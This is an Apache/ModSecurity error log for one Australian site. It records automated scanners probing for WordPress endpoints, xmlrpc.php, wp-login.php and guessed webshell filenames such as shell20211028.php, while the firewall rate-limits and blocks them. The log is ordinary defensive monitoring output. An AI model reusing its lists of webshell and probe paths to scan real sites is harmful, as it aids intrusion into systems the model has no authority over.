[Fri Apr 17 07:59:26.279960 2026] [:error] [pid 34273:tid 34280] [client 172.213.155.173:36669] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/aa.php"] [unique_id "aeF33muQDW686mK3dgErsAAAAYU"]
[Fri Apr 17 07:59:30.026570 2026] [:error] [pid 9152:tid 9212] [client 172.213.155.173:12734] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/aa.php"] [unique_id "aeF34pJYca8I3TNCwIdSRQAAAFY"]
[Fri Apr 17 07:59:33.225850 2026] [:error] [pid 9152:tid 9194] [client 172.213.155.173:62040] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/goods_260325043000.php"] [unique_id "aeF35ZJYca8I3TNCwIdSUQAAAEQ"]
[Fri Apr 17 07:59:37.374551 2026] [:error] [pid 25010:tid 25020] [client 172.213.155.173:4468] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/goods_260325043000.php"] [unique_id "aeF36Y-7kkf42RarqQ3xrAAAAUc"]
[Fri Apr 17 07:59:38.814653 2026] [:error] [pid 9152:tid 9199] [client 172.213.155.173:45048] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/goods_260325043000.php"] [unique_id "aeF36pJYca8I3TNCwIdSagAAAEk"]
[Fri Apr 17 07:59:39.773799 2026] [:error] [pid 51878:tid 51885] [client 172.213.155.173:45041] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/goods_260325043000.php"] [unique_id "aeF360nQhUtMbw9EsgbULwAAAQU"]
[Fri Apr 17 07:59:41.994111 2026] [:error] [pid 51878:tid 51897] [client 172.213.155.173:17040] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/goods_260401065719.php"] [unique_id "aeF37UnQhUtMbw9EsgbUMAAAARE"]
[Fri Apr 17 07:59:43.304035 2026] [:error] [pid 51878:tid 51895] [client 172.213.155.173:62056] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/goods_260401065719.php"] [unique_id "aeF370nQhUtMbw9EsgbUMwAAAQ8"]
[Fri Apr 17 07:59:43.965549 2026] [:error] [pid 9153:tid 9232] [client 172.213.155.173:63425] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/goods_260401065719.php"] [unique_id "aeF37-MHGxkTZX3c45dnoQAAAI4"]
[Fri Apr 17 07:59:44.898749 2026] [:error] [pid 25010:tid 25037] [client 172.213.155.173:4433] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/goods_260401065719.php"] [unique_id "aeF38I-7kkf42RarqQ3xtwAAAVg"]
[Fri Apr 17 13:41:34.481800 2026] [:error] [pid 9263:tid 9289] [client 206.189.150.30:56239] [client 206.189.150.30] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 206.189.150.30, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "aeHIDhP68VyHNvj1e56M5QAAANg"]
[Fri Apr 17 13:41:34.484641 2026] [:error] [pid 9263:tid 9289] [client 206.189.150.30:56239] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php
[Fri Apr 17 13:41:34.607373 2026] [:error] [pid 9263:tid 9275] [client 206.189.150.30:56239] [client 206.189.150.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "aeHIDhP68VyHNvj1e56M5wAAAMo"]
[Fri Apr 17 13:41:34.783128 2026] [:error] [pid 9153:tid 9237] [client 206.189.150.30:57208] [client 206.189.150.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/blog/wp-includes/wlwmanifest.xml"] [unique_id "aeHIDuMHGxkTZX3c45fI4wAAAJM"]
[Fri Apr 17 13:41:34.958004 2026] [:error] [pid 34273:tid 34295] [client 206.189.150.30:57501] [client 206.189.150.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/web/wp-includes/wlwmanifest.xml"] [unique_id "aeHIDmuQDW686mK3dgG7pgAAAZQ"]
[Fri Apr 17 13:41:35.142265 2026] [:error] [pid 9153:tid 9233] [client 206.189.150.30:57734] [client 206.189.150.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wordpress/wp-includes/wlwmanifest.xml"] [unique_id "aeHID-MHGxkTZX3c45fI5gAAAI8"]
[Fri Apr 17 13:41:35.319297 2026] [:error] [pid 9263:tid 9287] [client 206.189.150.30:58011] [client 206.189.150.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/website/wp-includes/wlwmanifest.xml"] [unique_id "aeHIDxP68VyHNvj1e56M6QAAANY"]
[Fri Apr 17 13:41:35.493403 2026] [:error] [pid 61523:tid 61553] [client 206.189.150.30:58301] [client 206.189.150.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp/wp-includes/wlwmanifest.xml"] [unique_id "aeHID8OaH-Pgc7WEf4M2wgAAAcs"]
[Fri Apr 17 13:41:35.667302 2026] [:error] [pid 9152:tid 9196] [client 206.189.150.30:58607] [client 206.189.150.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/news/wp-includes/wlwmanifest.xml"] [unique_id "aeHID5JYca8I3TNCwIfyJwAAAEY"]
[Fri Apr 17 13:41:35.844574 2026] [:error] [pid 61523:tid 61547] [client 206.189.150.30:58865] [client 206.189.150.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2018/wp-includes/wlwmanifest.xml"] [unique_id "aeHID8OaH-Pgc7WEf4M2yQAAAcU"]
[Fri Apr 17 13:41:36.025011 2026] [:error] [pid 9263:tid 9274] [client 206.189.150.30:59107] [client 206.189.150.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2019/wp-includes/wlwmanifest.xml"] [unique_id "aeHIEBP68VyHNvj1e56M7wAAAMk"]
[Fri Apr 17 13:41:36.211544 2026] [:error] [pid 9263:tid 9272] [client 206.189.150.30:59430] [client 206.189.150.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/shop/wp-includes/wlwmanifest.xml"] [unique_id "aeHIEBP68VyHNvj1e56M8wAAAMc"]
[Fri Apr 17 13:41:36.525244 2026] [:error] [pid 9263:tid 9277] [client 206.189.150.30:59678] [client 206.189.150.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aeHIEBP68VyHNvj1e56M9QAAAMw"]
[Fri Apr 17 15:38:47.646491 2026] [:error] [pid 9263:tid 9288] [client 142.93.130.1:54046] [client 142.93.130.1] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 142.93.130.1, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aeHjhxP68VyHNvj1e57BxgAAANc"]
[Fri Apr 17 15:38:47.650095 2026] [:error] [pid 9263:tid 9288] [client 142.93.130.1:54046] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Fri Apr 17 20:23:33.335140 2026] [:error] [pid 61523:tid 61543] [client 107.189.18.50:64198] File does not exist: /usr/local/apache/htdocs/suspended-page/unzipper.php
[Fri Apr 17 20:36:53.616097 2026] [:error] [pid 25010:tid 25028] [client 223.25.27.130:49868] [client 223.25.27.130] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.25.27.130, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "aeIpZY-7kkf42RarqQ1y9wAAAU8"]
[Fri Apr 17 20:36:53.620710 2026] [:error] [pid 25010:tid 25028] [client 223.25.27.130:49868] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php
[Fri Apr 17 20:52:14.375361 2026] [:error] [pid 9151:tid 9183] [client 118.107.44.89:11371] [client 118.107.44.89] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||windfarmcoolants.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "aeIs_shTVuRPkua22vQ91QAAABY"], referer: https://www.bing.com/search?q=digital+marketing%!(EXTRA string=digital+marketing)
[Fri Apr 17 20:52:19.787509 2026] [:error] [pid 25010:tid 25032] [client 118.107.44.122:42219] [client 118.107.44.122] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 118.107.44.122, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aeItA4-7kkf42RarqQ12fAAAAVM"], referer: https://www.google.com/
[Fri Apr 17 20:52:19.789426 2026] [:error] [pid 25010:tid 25032] [client 118.107.44.122:42219] [client 118.107.44.122] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||windfarmcoolants.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aeItA4-7kkf42RarqQ12fAAAAVM"], referer: https://www.google.com/
[Sat Apr 18 06:43:14.703918 2026] [:error] [pid 13023:tid 13042] [client 20.111.61.194:34505] File does not exist: /usr/local/apache/htdocs/suspended-page/cs.php
[Sat Apr 18 06:43:14.964331 2026] [:error] [pid 13023:tid 13047] [client 20.111.61.194:34505] File does not exist: /usr/local/apache/htdocs/suspended-page/zxcs.php
[Sat Apr 18 06:43:15.225912 2026] [:error] [pid 13023:tid 13044] [client 20.111.61.194:34505] File does not exist: /usr/local/apache/htdocs/suspended-page/k.php
[Sat Apr 18 06:43:15.486636 2026] [:error] [pid 13023:tid 13025] [client 20.111.61.194:34505] File does not exist: /usr/local/apache/htdocs/suspended-page/shell20211028.php
[Sat Apr 18 06:43:15.747475 2026] [:error] [pid 13023:tid 13026] [client 20.111.61.194:34505] File does not exist: /usr/local/apache/htdocs/suspended-page/shadow-bot.php
[Sat Apr 18 06:43:16.007589 2026] [:error] [pid 13023:tid 13039] [client 20.111.61.194:34505] File does not exist: /usr/local/apache/htdocs/suspended-page/str_replace.php
[Sat Apr 18 06:43:16.268617 2026] [:error] [pid 13023:tid 13035] [client 20.111.61.194:34505] File does not exist: /usr/local/apache/htdocs/suspended-page/Hd.php
[Sat Apr 18 06:43:16.529540 2026] [:error] [pid 13023:tid 13030] [client 20.111.61.194:34505] File does not exist: /usr/local/apache/htdocs/suspended-page/maint.php
[Sat Apr 18 06:43:16.791465 2026] [:error] [pid 13023:tid 13040] [client 20.111.61.194:34505] File does not exist: /usr/local/apache/htdocs/suspended-page/nosaSq.php
[Sat Apr 18 06:43:17.052125 2026] [:error] [pid 13023:tid 13037] [client 20.111.61.194:34505] File does not exist: /usr/local/apache/htdocs/suspended-page/class-wp-oembed-beta.php
[Sat Apr 18 06:43:17.311400 2026] [:error] [pid 13023:tid 13036] [client 20.111.61.194:34505] [client 20.111.61.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tentang_rmol.php"] [unique_id "aeK3hf1e7hG8DAeABB8IvgAAAQs"]
[Sat Apr 18 06:43:17.829594 2026] [:error] [pid 9863:tid 9874] [client 20.111.61.194:38266] [client 20.111.61.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tentang_rmol.php"] [unique_id "aeK3hTjjiypiFrTucbIaaAAAAAE"]
[Sat Apr 18 06:43:18.353717 2026] [:error] [pid 9863:tid 9888] [client 20.111.61.194:23963] [client 20.111.61.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tentang_rmol.php"] [unique_id "aeK3hjjjiypiFrTucbIaaQAAAA8"]
[Sat Apr 18 06:43:18.854673 2026] [:error] [pid 9970:tid 9977] [client 20.111.61.194:23951] [client 20.111.61.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tentang_rmol.php"] [unique_id "aeK3hiYdRLRhVmaIMx3gYwAAAMM"]
[Sat Apr 18 06:43:19.350942 2026] [:error] [pid 13023:tid 13033] [client 20.111.61.194:16433] [client 20.111.61.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/yellow.php"] [unique_id "aeK3h_1e7hG8DAeABB8IwwAAAQg"]
[Sat Apr 18 06:43:19.851025 2026] [:error] [pid 9863:tid 9887] [client 20.111.61.194:39651] [client 20.111.61.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/yellow.php"] [unique_id "aeK3hzjjiypiFrTucbIaagAAAA4"]
[Sat Apr 18 06:43:20.323330 2026] [:error] [pid 13023:tid 13035] [client 20.111.61.194:23945] [client 20.111.61.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/yellow.php"] [unique_id "aeK3iP1e7hG8DAeABB8IygAAAQo"]
[Sat Apr 18 06:43:20.817072 2026] [:error] [pid 13023:tid 13036] [client 20.111.61.194:17954] [client 20.111.61.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/yellow.php"] [unique_id "aeK3iP1e7hG8DAeABB8IywAAAQs"]
[Sat Apr 18 06:43:21.342544 2026] [:error] [pid 13023:tid 13028] [client 20.111.61.194:39642] [client 20.111.61.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/block-template-utils.php"] [unique_id "aeK3if1e7hG8DAeABB8IzgAAAQM"]
[Sat Apr 18 06:43:21.849459 2026] [:error] [pid 9863:tid 9877] [client 20.111.61.194:19511] [client 20.111.61.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/block-template-utils.php"] [unique_id "aeK3iTjjiypiFrTucbIaawAAAAQ"]
[Sat Apr 18 06:43:22.341089 2026] [:error] [pid 13023:tid 13026] [client 20.111.61.194:51982] [client 20.111.61.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/block-template-utils.php"] [unique_id "aeK3iv1e7hG8DAeABB8I0gAAAQE"]
[Sat Apr 18 06:43:22.814982 2026] [:error] [pid 9970:tid 9979] [client 20.111.61.194:22041] [client 20.111.61.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/block-template-utils.php"] [unique_id "aeK3iiYdRLRhVmaIMx3gZgAAAMU"]
[Sat Apr 18 06:43:23.285888 2026] [:error] [pid 9970:tid 9985] [client 20.111.61.194:52482] [client 20.111.61.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/14.php"] [unique_id "aeK3iyYdRLRhVmaIMx3gaAAAAMs"]
[Sat Apr 18 06:43:23.757198 2026] [:error] [pid 9863:tid 9873] [client 20.111.61.194:37804] [client 20.111.61.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/14.php"] [unique_id "aeK3izjjiypiFrTucbIabAAAAAA"]
[Sat Apr 18 06:43:24.230263 2026] [:error] [pid 9863:tid 9883] [client 20.111.61.194:26655] [client 20.111.61.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/14.php"] [unique_id "aeK3jDjjiypiFrTucbIabQAAAAo"]
[Sat Apr 18 06:43:24.724206 2026] [:error] [pid 13023:tid 13043] [client 20.111.61.194:26644] [client 20.111.61.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/14.php"] [unique_id "aeK3jP1e7hG8DAeABB8I2AAAARI"]
[Sat Apr 18 06:43:25.272867 2026] [:error] [pid 9865:tid 9952] [client 20.111.61.194:27598] [client 20.111.61.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/update_with_pics.php"] [unique_id "aeK3jazb5knECIY-C-i6tQAAAI8"]
[Sat Apr 18 06:43:25.808846 2026] [:error] [pid 9970:tid 9998] [client 20.111.61.194:33269] [client 20.111.61.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/update_with_pics.php"] [unique_id "aeK3jSYdRLRhVmaIMx3gbQAAANg"]
[Sat Apr 18 06:43:26.312312 2026] [:error] [pid 9865:tid 9955] [client 20.111.61.194:28587] [client 20.111.61.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/update_with_pics.php"] [unique_id "aeK3jqzb5knECIY-C-i6tgAAAJI"]
[Sat Apr 18 06:43:26.805292 2026] [:error] [pid 9865:tid 9939] [client 20.111.61.194:27092] [client 20.111.61.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/update_with_pics.php"] [unique_id "aeK3jqzb5knECIY-C-i6twAAAII"]
[Sat Apr 18 06:43:27.327944 2026] [:error] [pid 9970:tid 9975] [client 20.111.61.194:44324] [client 20.111.61.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/date-object.php"] [unique_id "aeK3jyYdRLRhVmaIMx3gcQAAAME"]
[Sat Apr 18 06:43:27.797555 2026] [:error] [pid 9970:tid 9984] [client 20.111.61.194:24367] [client 20.111.61.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/date-object.php"] [unique_id "aeK3jyYdRLRhVmaIMx3gcgAAAMo"]
